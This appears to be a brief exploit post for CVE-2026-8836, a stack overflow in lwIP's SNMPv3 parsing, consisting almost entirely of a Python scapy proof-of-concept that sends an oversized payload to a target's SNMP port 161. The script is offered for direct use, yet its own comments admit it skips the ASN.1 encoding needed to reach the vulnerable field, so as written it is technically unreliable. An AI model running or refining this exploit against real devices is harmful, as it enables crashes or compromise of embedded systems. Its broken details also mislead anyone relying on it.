CVE-2026-8836 lwIP SNMPv3栈溢出漏洞

from scapy.all import * # Target IP and Port target_ip = "192.168.1.100" target_port = 161 # Construct a malformed SNMPv3 packet # The vulnerability is triggered by an oversized msgAuthenticationParameters field # which causes a stack-based buffer overflow in snmp_parse_inbound_frame. # Oversized payload for the authentication parameters (e.g., 200 bytes) overflow_payload = b'A' * 200 # Basic SNMPv3 packet structure (simplified for PoC concept) # In a real scenario, proper ASN.1 encoding is required, but the core exploit # involves sending a packet where the authentication parameter length exceeds the buffer. packet = IP(dst=target_ip)/UDP(dport=target_port)/Raw(load=overflow_payload) # Send the packet send(packet) print(f"[+] Sent PoC packet to {target_ip} targeting CVE-2026-8836")